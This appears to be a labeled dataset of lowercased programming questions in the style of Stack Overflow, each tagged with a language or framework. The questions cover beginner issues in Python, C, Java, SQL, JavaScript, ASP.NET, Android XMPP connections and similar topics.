what is this error in passing arguments in python   i have this code:   <pre><code>import sys from scipy.stats import binom  def mcnemar_midp(b  c):     n = b + c     x = min(b  c)     dist = binom(n  .5)     p = 2. * dist.cdf(x)     midp = p - dist.pmf(x)     return midp  #get numbers from user num1 = sys.argv[1] num2 = sys.argv[2]  # calculate the result myresult = mcnemar_midp(num1  num2)  # display the sum print myresult </code></pre>   which does not work if i call it like this:    python mcnemar.py 87 89    however  if i hard-code 2 values for num1 and num2 it works fine. the error i get is the following:   <pre><code>traceback (most recent call last): file  mcnemar.py   line 28  in &lt;module&gt; myresult = mcnemar_midp(num1  num2) file  mcnemar.py   line 19  in mcnemar_midp p = 2. * dist.cdf(x) file  /usr/lib/python2.7/dist-packages/scipy/stats/distributions.py   line 440  in cdf return self.dist.cdf(x  *self.args  **self.kwds) file  /usr/lib/python2.7/dist-packages/scipy/stats/distributions.py   line 6635  in cdf k = asarray((k-loc)) typeerror: unsupported operand type(s) for -:  numpy.ndarray  and     numpy.ndarray  </code></pre>   but this in only if i try to pass the numbers from the command line  if i write them inside the code  it works. please help me  i am new to python!,python
calling method from another object  sample code below.  basically  in the code below  game creates a bunch of objects called of type dragview.  from within these dragview objects when touchesbegin is fired  i need it to call back to a method adjustscore within game to adjust the score.     <pre><code>@interface game : uiviewcontroller { } @end  @implementation game  dragview *dragger;  - (void)loadview { dragger = [[dragview alloc] initwithframe:dragrect];       //simplified...code actually makes lots of these }  + (void) adjustscore  { nslog(@ this is called from within dragview ); //does some more stuff… }   @end   @interface dragview : uiimageview { cgpoint startlocation; } @end  @implementation dragview  - (void) touchesbegan:(nsset*)touches withevent:(uievent*)event {    nslog(@ touched );  ///// help needed here to call  adjustscore  in game above /////  }  </code></pre>,objective-c
c programming:  &  with arrays in scanf  i got a warning in my program  and it says:   <blockquote>    <code>format  %c  expects argument of type  char *    but argument 2 has type  char (*)[10]  [-wformat]</code>  </blockquote>   here s my program:   <pre><code>#include&lt;stdio.h&gt; int main() {   char array[10];   scanf( %10c   &amp;array);   printf( %.10s   array);   return 0; } </code></pre>   the warning disappears when i remove  &amp;  from scanf. i know  it s an array and doesn t require &amp;. but don t they have same effect  i mean both  &amp;array  and  array  give address of its first element  right  if so  what s the difference here     i read some related questions here  and googled a lot. it has been said that  &amp;array  is a pointer to an array of characters if  array  is an array while  array  itself is a pointer to char. according to what it says  since i m using %c  a pointer to an array of characters should be passed  i think. idk  i would very greatful if someone explains how %[width]c works.    i also verified that all  array    &amp;array  and  &amp;array[0]  give address of its first element. here s what i did:   <pre><code>int main() {   char array[10];   puts( address: );   printf(  %p \n %p \n %p   array  &amp;array  &amp;array[0]);   return 0; } </code></pre>   if they all give same address  why is it giving such warnings  it also works for %s. they all work fine in most of windows compiler  without any warnings.    since i m a windows user  i never used gcc compiler before. and what i was thinking was it s just not mandatory to write &amp; as with function pointers. you don t necessarily have to write &amp; with function pointers  i read.    i m getting more and more confused  please help me get it.     thank you.,c
unable to construct this json object  i have the following database structure    <pre><code>mysql&gt; select * from categories limit 30; +-------------+-------------+-----------------+-------+------+------+------+------+------+------+------+ | category_id | t1          | t2              | t3    | t4   | t5   | t6   | t7   | t8   | t9   | t10  | +-------------+-------------+-----------------+-------+------+------+------+------+------+------+------+ |           1 | popcorn     | regular pack    | null  | null | null | null | null | null | null | null | |           1 | popcorn     | regular pack    | null  | null | null | null | null | null | null | null | |           1 | popcorn     | regular pack    | null  | null | null | null | null | null | null | null | |           2 | popcorn     | bucket          | null  | null | null | null | null | null | null | null | |           2 | popcorn     | bucket          | null  | null | null | null | null | null | null | null | |           2 | popcorn     | bucket          | null  | null | null | null | null | null | null | null | |           3 | popcorn     | jumbo           | null  | null | null | null | null | null | null | null | |           3 | popcorn     | jumbo           | null  | null | null | null | null | null | null | null | |           4 | popcorn     | tub             | null  | null | null | null | null | null | null | null | |           4 | popcorn     | tub             | null  | null | null | null | null | null | null | null | |           5 | popcorn     | combo cool bite | null  | null | null | null | null | null | null | null | |           6 | popcorn     | combo relish    | null  | null | null | null | null | null | null | null |   |           7 | soft drinks | fountain        | apple      | null | null | null | null | null | null | null | |           8 | soft drinks | fountain        | orange     | null | null | null | null | null | null | null | |           8 | soft drinks | fountain        | orange     | null | null | null | null | null | null | null | |           9 | soft drinks | fountain        | lemon      | null | null | null | null | null | null | null | |           9 | soft drinks | fountain        | lemon      | null | null | null | null | null | null | null | |          10 | soft drinks | fountain        | clear      | null | null | null | null | null | null | null | |          10 | soft drinks | fountain        | clear      | null | null | null | null | null | null | null | |          11 | soft drinks | tin             | apple      | null | null | null | null | null | null | null | |          11 | soft drinks | tin             | apple      | null | null | null | null | null | null | null | |          12 | soft drinks | tin             | lean apple | null | null | null | null | null | null | null | |          12 | soft drinks | tin             | lean apple | null | null | null | null | null | null | null | +-------------+-------------+-----------------+------------+------+------+------+------+------+------+------+ </code></pre>   i am trying to create a json structure for the above in this format.    for example     the following two arrays . (pseudo code )   <pre><code>popcorn :[regular pack  bucket  jumbo tub combo cool bite combo relish]  soft drinks:[fountain tin] </code></pre>   i am trying to get all the distinct elements of t1 and combine distinct elements of t2     i have been able to do it in this way:    <pre><code>jsonarray t1array=new jsonarray(); jsonarray t2array=new jsonarray();   resultset rs=stmt.executequery();         while(rs.next())         {             string t1 = rs.getstring( t1 );             string t2 = rs.getstring( t2 );             if(!tempvariable.equals(t1))             {                 t1array.put(t1);             //  t2array.put(t2);             }              tempvariable = t1;          } </code></pre>   please tell me how i can map t2 with t1,java
why have i to write c -  0  instead of just c   hey i can t understand why my code doesn t write when i put just ++ndigit[c] (instead of ++ndigit[c - 0 ]  then with ++nchar[c] it s ok.    if you have any tuto i ll be really interested !   <pre><code>#include &lt;stdio.h&gt;  int main() {   int c  i  y  ns;   int ndigit[10];   int nchar[26];    ns = 0;    for(i = 0; i &gt;= 0 &amp;&amp; i&lt;= 9; ++i) {     ndigit[i] = 0;   }    for(y =  a ; y &lt;=  z ; ++y) {     nchar[y] = 0;   }    while((c = getchar()) != eof) {     if(c ==     || c ==  \t ) {       ++ns;     }      if(c &gt;=  a  &amp;&amp; c &lt;=  z ) {       ++nchar[c];     }      if(c &gt;=  0  &amp;&amp; c &lt;=  9 ) {      ++ndigit[c];      //++ndigit[c- 0 ];     }      if(c ==  \n ) {       printf( chiffres:  );       for(i=0;i&lt;10;++i) {         printf( %d:%d    i  ndigit[i]);       }        printf( lettres:  );       for(y= a ;y&lt;= z ;++y) {         printf( %d:%d    y  nchar[y]);       }       printf( space: %d\n   ns);     }   } } </code></pre>,c
is float really missing from htmltextwriterstyle   is float really missing from htmltextwriterstyle     i rarely use    <pre><code>control.style.add(htmltextwriterstyle.whatever   myval ); </code></pre>   to set styles for elements  but occasionally i have to create a dynamic element from code-behind and i ll throw in a style via this method  to test out some styling.    today  i tried to set    <pre><code>float:left; </code></pre>   and was fairly stunned that it doesn t appear to have a float property.  i couldn t find much on google except for this brief log of the issue: <a href= http://connect.microsoft.com/visualstudio/feedback/viewfeedback.aspx feedbackid=110709  rel= nofollow noreferrer >microsoft connect log of error</a>.    so my question is this: is it really missing and why     <strong>edit</strong>    so i followed up with <a href= https://stackoverflow.com/users/98713/thomas-levesque >@thomas levesque</a> s answer and found that the <a href= http://msdn.microsoft.com/en-us/library/system.web.ui.htmltextwriterstyle%28vs.71%29.aspx  rel= nofollow noreferrer >htmltextwriterstyle</a> enumeration was introduced on <a href= http://en.wikipedia.org/wiki/.net_framework#.net_framework_1.1  rel= nofollow noreferrer >april 3rd  2003 in .net 1.1</a>.  this was a time when <a href= http://en.wikipedia.org/wiki/internet_explorer_6  rel= nofollow noreferrer >ie 6</a> was the latest and greatest that ms had to offer.  it is possible that due to their shoddy standards  they were still relying on table based layouts.    i don t have any proof that this is the <strong>truth</strong>  but it s my favorite answer so far.,.net
iphone sdk : how to localize a class   i am trying to localize a class (.h &amp; .m files) in my application. i made the same operation as when i localized my interface (xib -> get info -> make file localizable). i created a second .h and a second .m file  and i made the modifications i needed for the new location. great !    but it just doesn t work...    i get the error:    <blockquote>    duplicate symbol _objc_metaclass_  </blockquote>   does anyone have a clue   thanks a lot !,iphone
12 days of christmas c++ using functions  i am in a beginner c++ course and i am trying to create a program that outputs the 12 days of christmas song using the two given function calls show_ordinal(int) and show_verse(int) as an assignment. it is supposed to call the verse and show the day with it s ordinal suffix and then loop the remaining verses depending on where the user decides to start from  so if it was show_verse(3) it would be on the 3rd day of christmas... all the way to the pear tree. i started writing for the function to get the ordinal but kept getting segmentation fault errors.   <pre><code>#include &lt;iostream&gt;  using namespace std;  string show_ordinal(int); void show_verse(int);  int main() {     cout &lt;&lt; show_ordinal(2) &lt;&lt; endl;      return 0; }  string show_ordinal(int x) {     switch (x % 10)     {          case 1:             if (x % 10 == 1)             {                 cout &lt;&lt; x &lt;&lt;  st ;             }             break;          case 2:             if (x % 10 == 2)             {                 cout &lt;&lt; x &lt;&lt;  nd ;             }             break;          case 3:             if (x % 10 == 3)             {                 cout &lt;&lt; x &lt;&lt;  rd ;             }             break;          case 4:             if (x % 10 != 1 || x % 10 != 2 || x % 10 != 3)             {                 cout &lt;&lt; x &lt;&lt;  th ;             }             break;     }  } </code></pre>   testing the function by trying to call it with an int value of 2 in main i have been working on it for awhile and cannot get it to work any help would be greatly appreciated.,c++
when does write system call return   if i m writing to a file/device in blocking mode does the <code>write()</code> call return on writing all the bytes(assume no signal interruption) to <code>buffered cache(kernel buffer)</code> or it returns on writing all bytes to the file/device  (this is extension to my earlier <a href= https://stackoverflow.com/questions/8416946/write-system-call-writes-data-to-disk-directly >question</a>).,c
number of rows in multi dimensional array in objective-c  is it possible to get number of rows in multi dimensional array      <strong>eg:</strong>   <pre><code>nsstring *array[][2]={{@ 1   @ 2 } {@ 1   @ 2 }} </code></pre>   not number of columns (2) but number of rows.,objective-c
in javascript collection  use value from earlier key/value in a later value  i know this sounds silly  but now my curiosity has me stuck on this idea. is it possible to declare a collection of key/value pairs  like var <code>collection = {a: 1   b: 2 }</code> and then have a third pair saying <code>c:  3  + b.value </code>,javascript
join two tables without relationship  add 1 to many  i ve been frequenting this site for awhile now but this time  i didn t find any answers around this question so here goes.    i have two tables that do not have any pk/fk or relationship otherwise. what i am trying to do is the following.    table 1   <pre><code>column a a b c </code></pre>   table 2   <pre><code>column b 1 2 3 </code></pre>   desired result:    combined table   <pre><code>column a         column b a                1   a                2 a                3 b                1 b                2 b                3 c                1 c                2 c                3 </code></pre>   pretty much  for every value in the first table  append the full list of the second table until there s no more.    i hope this makes sense on what i am trying to achieve.    thank you!,sql
strange mysql syntax error  i get this error:-    you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  ï»¿ at line 1    whenever i tried something like this:-   <pre><code>mysql&gt; source /home/user1/sql/ddl.sql mysql&gt; source /home/user1/sql/insert.sql mysql&gt; source /home/user1/sql/cleanup.sql </code></pre>   the intresting thing is  this happen to each and every one of the sql scripts but only the first statement is corrupted. the rest of the statements in the script will run fine. i have worked around this by putting a dummy statement in every script.    anyone had this problem before  i am completely stumped and checking google hadn t helped yet. thanks in advance.,mysql
list< t >::iterator or syntax error   i m currently getting the following compile errors:   <pre><code>in function  int main() : error: expected primary-expression before  &gt;  token error: missing template arguments before  i  error: expected  ;  before  i  error:  i  was not declared in this scope </code></pre>   i ve highlighted the line the first error flags on in the code block below:   <pre><code>// test highscoresfilemanager reading &amp; writing /* highscorepair paira( holly   10); highscorepair pairb( carl   20); */ list&lt; highscorepair &gt; list; //list.push_back(paira); list.push_back(pairb); highscoresfilemanager::getinstance()-&gt;readfiletolist(list); list&lt; highscorepair &gt;::iterator i; //error flags here oddly for(i = list.begin(); i != list.end(); ++i)    std::cout &lt;&lt; (*i).playername &lt;&lt;     &lt;&lt; (*i).playerscore &lt;&lt; std::endl; </code></pre>   i left in some commented out text i was using to test something previously because i m certain that that commented out text works perfectly and if it works i don t see why the new code i ve added wouldn t work  i m not using any new classes or anything  i ve just tried to get an iterator setup.    i feel quite rude as i think i m basically asking someone to check my syntax  i keep reading over it and thinking i must be missing a colon somewhere or something but i just can t see what the issue is! a new eye would be greatly appreciated! i appreciate you might want more code (which i can provide) but like i said if the stuff commented out worked then i <em>think</em> the new code should to.,c++
use zipfile of 4.5 in 3.5 solutions  is there any way to import zipfile class (system.io.compression.filesystem.dll in .net 4.5) in solution in .net 3.5  - downloading the dll and adding it in reference will work,.net
converting a list to double[][]  using below code i am trying to convert a list of list of doubles to double[][] . but on method : <code>double[][] dim = list1.toarray(new double[2][2]);</code> i receive this error :    <pre><code>exception in thread  main  java.lang.arraystoreexception     at java.lang.system.arraycopy(native method)     at java.util.arraylist.toarray(arraylist.java:361)     at clustering.main.convertarraytest.main(convertarraytest.java:22) </code></pre>   the error occurs on this line:   <pre><code>double[][] dim = list1.toarray(new double[2][2]);  </code></pre>   how am i not converting the list correctly      the code :    <pre><code>import java.util.arraylist; import java.util.list;  public class convertarraytest {      public static void main(string args[]){          list&lt;arraylist&lt;double&gt;&gt; list1 = new arraylist&lt;arraylist&lt;double&gt;&gt;();         arraylist&lt;double&gt; list2 = new arraylist&lt;double&gt;();          list2.add(1.0);         list2.add(1.0);         list1.add(list2);          list2 = new arraylist&lt;double&gt;();         list2.add(2.0);         list2.add(2.0);         list1.add(list2);          double[][] dim = list1.toarray(new double[2][2]);      }  } </code></pre>,java
php possible interpreter error form $_post values not getting passed  either i am incredibly stupid or something is wrong with my dev environment. ive been pulling my hair out of my head for these past few days as my form <code>$_post</code> variables are simply not getting passed.    so i have scalled it down to the most simplest of tests  just to ensure there is nothing wrong with my script  which i originally thought  which took up all my time trying to find a bug which isnt there. i tried the following and then realise it is a case where $_post values arent getting passed   <pre><code>&lt;form method= post  name= login  action= test.php  id= loginform &gt;     &lt;input type= text  name= email  placeholder= please enter email &gt;     &lt;input type= text  name= password  placeholder= please enter your password &gt;     &lt;button type= submit  name= submitbtn &gt;submit&lt;/button&gt; &lt;/form&gt; </code></pre>   <strong>test.php</strong>   <pre><code>var_dump($_post); $_post[ email ]; $_post[ password ]; </code></pre>   i am hoping to get some possible solutions or advise on what i can try to further debug this.     i am using xampp  and phpstorm.     <code>var_dump($_post)</code> results in null{},php
jquery modal dialog doesn t work with modal:true  not sure what i m doing wrong here.  just trying to make it a modal dialog (dim out the page content).  i thought it is as simple as <code>modal:true</code>.  a dialog comes up when i click the image but it doesn t dim out the page content.     <pre><code>&lt;img src= images/help-35-30.png  alt= help  class= helpdetails  style= padding-left:30px; /&gt; &lt;div class= dialogplease &gt;&lt;p&gt;a comment&lt;/p&gt;&lt;/div&gt;  &lt;link rel= stylesheet  type= text/css  href= mycss/css/jquery-ui-1.8.20.custom.css  /&gt; &lt;script language= javascript  type= text/javascript  src= https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js &gt;&lt;/script&gt; &lt;script language= javascript  type= text/javascript  src= http://ajax.aspnetcdn.com/ajax/jquery.ui/1.8.20/jquery-ui.js &gt;&lt;/script&gt;        &lt;script&gt; $(function() {  $( .dialogplease ).dialog(); //init dialog $( .dialogplease ).dialog( close ); //don t show dialog yet $( .helpdetails ).click(function(e) {     $( .dialogplease ).dialog( open )({     modal: true     }); }); }); &lt;/script&gt; </code></pre>,jquery
java polymorphism and casting  in this code  shouldn t <code>(a) obj).test()</code> call the test method of class a  what am i missing    <pre><code>class main {   public static void main(string[] args) {     b obj = new b();     obj.test();      ((a) obj).test();   } }  class a {      public void test() {         system.out.println( called in a! );     } }  class b extends a {      public void test() {         system.out.println( called in b! );       } } </code></pre>,java
rails  redirect from new to create  hey all  i m writing an app to handle registration for athletic events. some of these events have multiple athletes per entry  while some have only a single athlete. i m currently sending the athlete to the new action on <code>boatscontroller</code> like so:   <pre><code>&lt;%= link_to  register   new_event_boat_path(@event) %&gt; </code></pre>   my question is  if the new action sees that the event only requires one user per boat  how can i forward the user directly to the create action  more concisely  how can i generate a post from within an action,ruby-on-rails
mysql how do i not include duplicate rows when i use sum and count with multiple inner joins  <pre><code>select sum(case when p.status = 2 then p.value end) as  val_accepted        from         props as p             inner join (p_contents as pc               inner join contents as c on c.id = pc.library_id)             on p.id = pc.prop_id       where p.account_id = 3       group by (pc.library_id) </code></pre>   so  what s happening: there are two p_contents that are associated with a prop. those two p_contents have the same library_id which points to a corresponding content.<br> so  the sum of p.value is double what it should be because there are two p_contents that point to the same content    how do i not double sum the p.value       edit:<br> i figured out how to use distinct  but i still need access to the inner columns...    <pre><code>select    c.name as  library_name      sum(case when p.status = 2 then p.value end) as  val_accepted    from   props as p   inner join    (     select distinct(pc.library_id)  prop_id     from prop_contents as pc     inner join      (       select name  visibility  id  updated_at        from contents as c     ) as c       on c.id = pc.library_id   )as pc   on p.id = pc.prop_id  where p.account_id = 3  group by (pc.library_id) </code></pre>   and now i get the error:   <pre><code>unknown column  c.name  in  field list ) </code></pre>,mysql
returning multiple values in javascript   is there a way to use a sort of the c#-like <code>out</code> or <code>ref</code> parameter modifiers with javascript to do something like this:   <pre><code>function mymanyreturnfunction(number1  number2  out x  out y) {     x = number1 * number2;     y = number1 / number2;      return true; }  var height1  height2 = 0; var check = mymanyreturnfunction(1 1  out height1  out hight2); </code></pre>   i would like to change the variable s reference as well. so yes  passing an argument by reference.,javascript
html standards for  in-page  navigation  i was wondering  is there any (hidden) standard for navigation within a web page  what i mean is  we all know that many  many pages have a search box (powered by google  bing or custom) for searching within the site. is there a keyboard shortcut standard for accessing directly to the search box  in addition  usually when results are returned to the client  the user has to page through the results. is there standard for paging results too  you know  it can be very convenient to be able to go to the next result set  previous  first  last... or perhaps even a specific page number in the result set. is this feasible at all to go into a standard     thanks  avi,html
non-static variable cannot be initialized from a static context  java error  i m researching on how to make a parameter that accepts any object  i found an answer and i tried recreating the code. but the problem is whenever i initialize bee horse and apple it always shows the error  non-static variable cannot be initialized from a static context . so how is this wrong    <pre><code>public class testing{ public static void main(string[]args){   bee a= new bee();   horse b= new horse();   apple c= new apple(): } private interface holder{     public int getx(); } private class bee implements holder{     int a=52;     public int getx(){         return a;     } } private class horse implements holder{     int a=62;     public int getx(){         return a;     } } </code></pre>,java
else statement not working <pre><code>int number = 4; int guesscount = 0; int guess;  console.writeline( guess a number between 1 and 10:  ); guess = convert.toint32(console.readline());  while (guess != number) {     guesscount = guesscount + 1;      if (guess &lt; number)     {         console.writeline( your guess is too low );     }     else if (guess &gt; number)     {         console.writeline( your guess is too high );     }     else     {         console.writeline( you got it!! );     }     console.writeline( guess again:  );     guess = convert.toint32(console.readline());     console.readline(); } </code></pre>   when running the code the if and else if statements work but when guessing the correct number (4)  the message  you got it  does not display the window just closes,c#
dropdownlist error when dynamically generated   i am creating a dropdownlist called  ddlyears  dynamically like below code:   <pre><code>private void createdynamicddl()   {           ddlyears.items.clear();     ddlyears.items.add(new listitem( year   0 ));      for (int k = 0; k &lt; 4; k++)       {           int time = int.parse(datetime.now.year.tostring());         ddlyears.items.add(new listitem((time-k).tostring() (k+1).tostring()));         } }   </code></pre>   and i have ddl selectedindexchanged event as below:   <pre><code>protected void ddlyears_selectedindexchanged(object sender  eventargs e)      {         response.write(ddlyears.selectedvalue.tostring());     response.end(); }  </code></pre>   in the above code i am trying to write the selected value. but it s working fine  if select the second item which is  2010  (i mean returning selected value as 1) and so on  but if i select first item which is  year  it s not firing that <code>ddlyears_selectedindexchanged</code> event. please somebody help me    thanks,asp.net
android not able to connect to local xmpp server  i have successfully installed the xmpp sever on my system . i have also installed openfire successfully . i am using this xmpp server for making a chat application. i am trying to connect to this xmpp server through android device . i am entering the following detail for connecting to it<img src= https://i.stack.imgur.com/mw9aj.png  alt= setting dialog >    i am entering my ip address of the system 123.236.42.26 where my xmpp server is running as a host and my port number is 5222.    my code for connecting to xmpp server   <pre><code>      public void onclick(view v) {             string host = gettext(r.id.host);             string port = gettext(r.id.port);             string service = gettext(r.id.service);             string username = gettext(r.id.userid);             string password = gettext(r.id.password);               // create a connection                 connectionconfiguration connconfig =                 new connectionconfiguration(host  integer.parseint(port)  service);             xmppconnection connection = new xmppconnection(connconfig);             try {             connection.connect();             log.i( xmppclient    [settingsdialog] connected to   +               connection.gethost());          } catch (xmppexception ex) {             log.e( xmppclient    [settingsdialog] failed to connect to   +            connection.gethost());               log.e( xmppclient   ex.tostring());               xmppclient.setconnection(null);            }            try {                connection.login(username  password);                log.i( xmppclient    logged in as   + connection.getuser());                // set the status to available               presence presence = new presence(presence.type.available);              connection.sendpacket(presence);              xmppclient.setconnection(connection);           } catch (xmppexception ex) {              log.e( xmppclient    [settingsdialog] failed to log in as   + username);                   log.e( xmppclient   ex.tostring());                   xmppclient.setconnection(null);            }           dismiss();       } </code></pre>   but when i click on ok button my application crashes and when i check the logcat it giving error like    <pre><code>06-21 08:01:37.157: e/xmppclient(4861): [settingsdialog] failed to connect to null 06-21 08:01:37.157: e/xmppclient(4861): 123.236.42.46:5222 exception: xmpperror  connecting to 123.236.42.46:5222.; : remote-server-error(502) 06-21 08:01:37.157: e/xmppclient(4861):   -- caused by: xmpperror connecting to  123.236.42.46:5222.: remote-server-error(502) xmpperror connecting to  123.236.42.46:5222. 06-21 08:01:37.157: e/xmppclient(4861):   -- caused by: java.net.connectexception:  failed to connect to /123.236.42.46 (port 5222): connect failed: etimedout (connection  timed out) 06-21 08:01:37.217: e/androidruntime(4861): fatal exception: main 06-21 08:01:37.217: e/androidruntime(4861): process: org.apache.android.xmpp  pid: 4861 06-21 08:01:37.217: e/androidruntime(4861): java.lang.illegalstateexception: not  connected to server. 06-21 08:01:37.217: e/androidruntime(4861):     at   org.jivesoftware.smack.xmppconnection.login(xmppconnection.java:229) </code></pre>   please suggest where i am doing wrong.,android
suppress error  hostname could not be resolved   this is my code:   <pre><code>string url =  http://illution.dk/ ; webclient http = new webclient(); http.downloadstringasync(new uri(url)); http.downloadstringcompleted += new downloadstringcompletedeventhandler(getmodeltyperesponse); </code></pre>   if i run this on a machine with no internet connection an error will be thrown.  hostname could not be resolved     is there any way i can remove this error message  or check if there isn t an internet connection     <strong>edit 1</strong>   <pre><code>try { computerinfo computerinfocomp = new computerinfo(); string url =  http://illution.dk/  webclient http = new webclient(); http.downloadstringasync(new uri(url)); http.downloadstringcompleted += new         downloadstringcompletedeventhandler(getmodeltyperesponse); computerinfocomp = null; } catch (system.net.webexception e) { // } </code></pre>,c#
how to align an image to center  i d like to set the alignment of an image to the center on top of the header. my erb file is as follows:   <pre><code>&lt;p id= logo &gt;   &lt;%= image_tag  logo.png  %&gt; &lt;/p&gt; </code></pre>   in my css file  i have:   <pre><code>#logo {   padding-bottom: 5px;   alignment: center;   width: 100px;   height: 100px; } </code></pre>   all the css code applies except for the alignment. the image still renders to the left of the screen. how can i get the image to align center,css
avaudioplayer stops playing the audio when iphone goes to sleep  i need to play a background sound all the time as long as my application is running. i tried to use avaudioplayer for this purpose. however  it stops playing the sound as soon as the iphone goes to sleep mode.    could you  let me know how can i fix this problem     thanks,iphone
query to fetch summarized information from multiple tables  i have below query to fetch some information from the database.   <pre><code>select a.pipe_sys  c.weld_type  c.rt  sum(a.w_c) welded   count(d.rt_cmp_date) tested  count(a.rt_status) accepted from weld_master a  weld_names b  ndt_per_category_ c  nd_test d  where a.weld_name = b.weld_name and b.type = c.weld_type and a.ndt_category =  c.category  and a.project_no = d.proj_no and a.dwg_no = d.dwg_no and  a.spool_no = d.spool_no and a.weld_no = d.weld_no group by a.pipe_sys  c.rt   c.weld_type; </code></pre>   above gives me the correct result as i expect except for <strong>accepted</strong> field. since  the data in my database is saved in a way that by default <code>rt_status</code> field is set to a certain value (non null) and when <code>rt status</code> of a weld is accepted or rejected then <code>rt_status</code> field is updated with relevant value in database.    so  in above query  how can i get count of accepted and rejected <code>rt_status</code> field.,sql
how can i add and list a item to cart when checked a check box   i need some thing like bellow.when i click on checked box that should be add to the cart with which item i have checked all the details should be list on the cart.how can i acheive it    <pre><code>&lt;div ng-app= myapp  ng-controller= mycart  &gt; &lt;div ng-repeat= x in names &gt; &lt;input type= checkbox  name= item &gt;{{x.item}} {{x.price}} &lt;/input&gt; &lt;/div&gt; &lt;div&gt;  &lt;h1&gt;cart&lt;/h1&gt;         &lt;div&gt;ex. order summary 100          //here i need to show the order price &lt;/div&gt;              &lt;div&gt;            ex.  1.xxx rs.10                 2.yyy rs.90         //here i need to list the items which are checked on the above          &lt;/div&gt;         &lt;/div&gt;             &lt;/div&gt;     &lt;script&gt;     angular.module( myapp   [])     .controller( mycart   [ $scope    $http   function($scope  $http) {         $http.get( angularjs-response.jsp ).success(function(response) {             $scope.names = response;                 });          }]);     &lt;/script&gt; </code></pre>,angularjs
get count of rows between two date column  i have added below my database table. in which i have two columns start and end time   <pre><code>record_id |     userid| parent_id| start time          | end time            |          1 |        53 |       10 | 2018-08-15 23:57:45 | 2018-08-15 23:57:55 |         2 |        53 |       10 | 2018-08-15 23:58:03 | 2018-08-15 23:58:22 |         3 |        53 |       10 | 2018-08-15 23:58:16 | 2018-08-15 23:59:05 |         4 |        53 |       10 | 2018-08-15 23:58:24 | 2018-08-16 00:33:35 |         5 |        53 |       10 | 2018-08-15 23:58:24 | 2018-08-15 23:58:29 |         6 |        53 |       10 | 2018-08-15 23:58:31 | 2018-08-15 23:58:32 |         7 |        53 |       10 | 2018-08-15 23:58:52 | 2018-08-15 23:59:00 |         8 |        53 |       10 | 2018-08-15 23:59:16 | 2018-08-16 00:00:05 |         9 |        53 |       10 | 2018-08-15 23:59:24 | 2018-08-15 23:59:32 |         10|        53 |       10 | 2018-08-15 23:59:27 | 2018-08-16 00:00:03 |         11|        53 |       10 | 2018-08-15 23:59:43 | 2018-08-16 00:21:38 |     +-----+-----------+----------+---------------------+---------------------+ </code></pre>   output :    <pre><code>date                | count | user_id | parent_id | record  2018-08-15 23:58:00 | 1     | 53      | 0         |   1 2018-08-15 23:58:00 | 1     | 0       | 10        |   1 2018-08-15 23:59:00 | 6     | 53      | 0         |   2 3 4 5 6 7   2018-08-15 23:59:00 | 6     | 0       | 10        |   2 3 4 5 6 7 2018-08-16 00:00:00 | 6     | 53      | 0         |   3 4 8 9 10 11 2018-08-16 00:00:00 | 6     | 0       | 10        |   3 4 8 9 10 11 2018-08-16 00:01:00 | 4     | 53      | 0         |   4 8 10 11 2018-08-16 00:01:00 | 4     | 0       | 10        |   4 8 10 11 </code></pre>   result explanation :    first column (date): datetime  second column (count): how many records available in the table on a particular datetime.    here we can see that in time: 2018-08-15 23:58:00 only record_id =1 is available. means record_id=1 have start_time is must be greater than 2018-08-15 23:57:00 and it have end_time is must be less than or equal to 2018-08-15 23:58:00.    suppose: record_id =4 which have start_time is 2018-08-15 23:58:24 and end_time is 2018-08-16 00:33:35.  so this record will be calculated every time from 2018-08-15 23:59:00(start_time is greater than 2018-08-15 23:58:00) to 2018-08-16 00:34:00(end_time is less than or equal to 2018-08-16 00:34:00).    note :    <ol> <li>if start time is 2018-08-15 12:12:01 to and end_time is &lt;= 2018-08-15 12:13:00 then record will be consider into 2018-08-15 12:13:00. so this way  does not calculate record into multiple outputs</li> <li>expect count for a particular minute for particular user_id and parent_id </li> <li>in output  last column(record) is using only added for a better explanation /understanding.</li> </ol>,mysql
is there a more reliable way to display images on a webpage when loaded from the database   i have a system where you can view photos as an extra detail to a record. let s say it is a photo of an employee s cat.<br> these photos are stored in our database.    currently when someone wishes to view the kitty. we render an <code>img</code> tag like so.   <pre><code>&lt;a href= #  onclick= rendertag( 20 );return false; &gt;view kitty&lt;/a&gt; &lt;div id= imagediv &gt;&lt;/div&gt; &lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js  type= text/javascript &gt;&lt;/script&gt; &lt;script type= text/javascript &gt; function rendertag(id){     $( #imagediv ).html( &lt;img src= http://localhost/getkitty.aspx id=  + id +    /&gt; ); } &lt;/script&gt; </code></pre>   and the getkitty.aspx works like so   <pre><code>protected void page_load(object sender  eventargs e) {     response.clear();     response.addheader( content-disposition   attachment;filename=kitty.bmp );     response.contenttype =  image/bmp ;     response.cache.setlastmodified(datetime.now);     response.cache.setcacheability(httpcacheability.nocache);     bitmap kitty = getkittybitmap(request.querystring( id ));     kitty.save(response.outputstream  kitty.rawformat);     response.flush();     response.close();     kitty.dispose(); } </code></pre>   after clicking the anchor link the page is like so.<br> <img src= https://i.stack.imgur.com/smlha.png  alt= enter image description here >    the problem is that sometimes the kitty doesn t show up on our mobile devices and my users get frustrated and call someone who is in the office to take a picture of the kitty with their mobile phone and email the kitty picture to them.     the demand for emailed pictures of kitties is so great that they are now asking for email functionality of sending kitty pictures be built into the system.    building that functionality could be avoided if the darn pictures of the kitties would just render all the time as expected.    is there a more reliable method of displaying images that are stored in the database,asp.net
"how do i make this work with multiple id s  i think there s an easy answer  but i can t find the right solution for this. i know that it has to be done with <code>queryselectorall</code>  but can t figure out how to use it in this case.    i have elements with id s <code>#modala</code>  <code>#modalb</code> and <code>#modalc</code>. i don t want to  duplicate code. so i want to figure out what is the best practice for this     can t use getelementbyclassname  because i can t make changes to markup.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var getmodalsa = document.getelementbyid( modala );
 var getmodalsb = document.getelementbyid( modalb );
 var getmodalsc = document.getelementbyid( modalc );
 
 getmodalsa.addeventlistener( touchmove   function(e) {
 
     e.preventdefault();
 
 }  false);</code></pre>
 </div>
 </div>",javascript
